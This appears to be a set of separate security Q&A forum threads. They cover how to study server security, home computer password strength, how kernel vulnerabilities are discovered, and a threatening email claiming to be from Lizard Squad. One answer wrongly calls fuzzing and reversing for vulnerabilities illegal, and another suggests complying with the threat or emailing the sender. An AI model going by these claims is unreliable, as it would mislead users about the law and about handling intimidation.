I don't think such a definite set of books exists- there is a lot to security, and everyone on here is going to have a different opinion on what papers and books are superior and inferior. For example, some books cover certain topics excellently but others vaguely. Some are perfect for a certain type of individual, with a specific skill and level, but absolutely trivial and boring for another.

Personally I think you are best researching one specific topic at a time, with a variety of resources that you have picked. So instead of grabbing a suggested, broad, security book and reading it from front to back, pick up several books and resources, and read how they each cover one specific topic. Make your way through topics using an array of resources.

While doing this ensure you remain hands on. You don't want to just read, you want to actually do it yourself. So set up a local server environment and get to work; set up your own experiments and be prepared to break things (recursive: breaking, fixing, securing).

Securing a server also involves securing the applications running on it. There is no point having a super secure server if the main application running is vulnerable to SQL injection and remote file inclusion. That then opens up the available learning content massively. So make sure you remain open. Also remember, even if you take all precautions, you still, sooner or later fail; Keep damage minimisation and mitigation on your mind- limit scope and verify backups.

Digital security is a long, forever changing road.

If you were to provide a bit about yourself: your skills and proficiencies, maybe someone would be able to recommend some starting resources and topics (are you a confident server administrator and/or engineer? / are you aware of the top server/web application vulnerabilities? / What is your experience in digital security? / What type of application and server you are working on? / etc)


Why do I need a strong password for my home computer? What kind of attack is it trying to thwart? I can understand why a website password needs to be strong as it needs to be able to withstand an offline attack against stolen password files by a password cracker capable of potentially 350 billion guesses per second and using rainbow tables containing many millions of pre-computed password hashes. And so I appreciate the need to use a password manager and for it to have a very strong master password.

But do these considerations apply to the password for my home computer? (i.e. mac/pc desktop/laptop)
If my computer were to be stolen I understand that it is possible to break into it without knowing my password.
If the attack uses the Internet then I guess it involves malware. A number of related questions occur to me...

Can malware launch the kind of attack used against stolen database password files?
How securely is my computer password stored?
Would the malware need to know my password anyway, as presumably it would have my logon authority?
So what function does the password then serve? What is there left to protect?
Does this depend on the operating system?
Do I need the same strength of password for a limited account as an administrative one?

Another way of phrasing the question is to ask how strong my home computer password needs to be, given the difficulty of creating a memorable password that would thwart an attack by a password cracker (see Schneier on Security and this Carnegie Mellon University research). I need such a password for my password manager and also my Apple Id (I think), but do I need to remember a third super-strong password for my home computer?

I don't have a technical background, but would I be correct in thinking that an encrypted hard drive is protected by my admin password and that if my home computer is stolen this password could be subjected to a brute-force attack? Does its vulnerability then depend on both its strength and the hashing algorithm used to store it?

The primary reason to have a strong password is to defend against people who have physical access to your machine, but are not tech-savvy. If you do not encrypt your drive, anyone could mount - and read, delete, or change - your data easily if they have access, and thus also gain control of your system.

But how many people who have physical access to your computer can actually do that? There is also a psychological barrier. "Just checking out" if you use your birthday as password may not feel as big a violation - and is easier done than - other attacks.

If you use a weak or no password for a more privileged account, malware could also possibly do more damage.

  Can malware launch the kind of attack used against stolen database password files?

You do not generally allow remote access to your personal computer via system users, so online bruteforcing is out of the question. If someone has physical access and the drive is not encrypted, there are easier ways than bruteforcing.

  How securely is my computer password stored?

That depends on the system. In many linux systems, it is stored in the /etc/shadow file, which is only readable by root users.

  Would the malware need to know my password anyway, as presumably it would have my logon authority?

The malware will most likely first run under the permissions it was installed with, which is likely your primary account. It doesn't need your password to do this. It may then try to gain more privileges via exploits against the system. Theoretically, it may also try to brute-force passwords for more privileged accounts, or use a keylogger to read the passwords when you enter them.

  So what function does the password then serve? What is there left to protect?

As mentioned above, having a reasonably strong passwords prevents people with pysical access to easily access your system without the need to perform any actual attack.


The way vulnerabilities like CVE-2014-4148 are discovered What is the most probable way the vulnerabilities like CVE-2014-4148 are discovered? How long does it take to find such one? Are there other ways? Which is the most successful one?

Fuzzing and reversing. Kernel mode vulnerabilities can be discovered by fuzzing the working code, and if any memory corruption occurs, you can try to reverse the app and, try to write suitable exploit for it. But it is illegal, you must know it :)


I got a threatening email I got an email saying:

  "We've been contacted because of your continued attempts at harassing
  Broda and his friends. We're fans of him and we have his back. Delete
  your twitter, delete your Youtube channel and do NOT attempt to
  contact Broda ever again. Failure to do so will mean you become out
  latest example. Lizard Squad."

And the email address is lizardsquad@lizsquad.net

Please tell me what to do. Should I trust it is real?!

The real question is if you feel safe. If you feel it's necessary, I would send an e-mail and possibly do what they ask. However, I doubt the authenticity of the email for a few reasons.

They provide no evidence they are who they say they are. The From: part of an email can be faked fairly easily. See: https://en.wikipedia.org/wiki/Email_spoofing.
If you actually try to go to http://www.lizsquad.net it can't be reached and seems to not exist. While the address could be just a mail server, that seems quite unlikely
The Lizard Squad twitter was shut down 1-1-17. See here: https://twitter.com/lizardlands.

While the whole thing seems quite unlikely to be legitimate, if you want you can certainly send them an email and see what, if anything, comes back.